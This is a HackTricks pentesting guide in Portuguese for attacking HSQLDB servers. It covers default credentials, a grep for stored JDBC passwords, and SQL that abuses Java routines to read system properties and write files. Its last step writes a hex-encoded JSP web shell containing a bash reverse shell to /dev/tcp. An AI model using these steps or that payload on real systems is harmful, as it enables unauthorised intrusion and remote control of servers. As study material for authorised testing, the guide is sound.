9001 - Pentesting HSQLDB

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

HSQLDB (HyperSQL DataBase) é o principal sistema de banco de dados relacional SQL escrito em Java. Oferece um mecanismo de banco de dados pequeno, rápido, multithread e transacional com tabelas em memória e baseadas em disco, e suporta modos embutido e servidor.

Porta padrão: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Informação

Configurações Padrão

Observe que por padrão este serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando elevar privilégios.

As credenciais padrão geralmente são sa com uma senha em branco.

Se você explorou outro serviço, procure por possíveis credenciais usando

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Observe cuidadosamente o nome do banco de dados - você precisará dele para se conectar.

Coleta de Informações

Conecte-se à instância do banco de dados baixando o HSQLDB e extraindo hsqldb/lib/hsqldb.jar. Execute o aplicativo GUI (eww) usando java -jar hsqldb.jar e conecte-se à instância usando as credenciais descobertas/frágeis.

Observe que a URL de conexão terá uma aparência semelhante a esta para um sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME.

Truques

Rotinas de Linguagem Java

Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Rotinas de Linguagem Java. Observe que a classe chamada precisa estar no classpath da aplicação.

As JRTs podem ser funções ou procedimentos. As funções podem ser chamadas por meio de instruções SQL se o método Java retornar uma ou mais variáveis primitivas compatíveis com SQL. Elas são invocadas usando a instrução VALUES.

Se o método Java que queremos chamar retornar void, precisamos usar um procedimento invocado com a instrução CALL.

Lendo Propriedades do Sistema Java

Criar função:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Executar função:

VALUES(getsystemproperty('user.name'))

Pode encontrar uma lista de propriedades do sistema aqui.

Escrever Conteúdo para Arquivo

Pode usar o gadget Java com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename localizado no JDK (carregado automaticamente no classpath da aplicação) para escrever itens codificados em hexadecimal no disco através de um procedimento personalizado. Observe o tamanho máximo de 1024 bytes.

Criar procedimento:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Executar procedimento:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated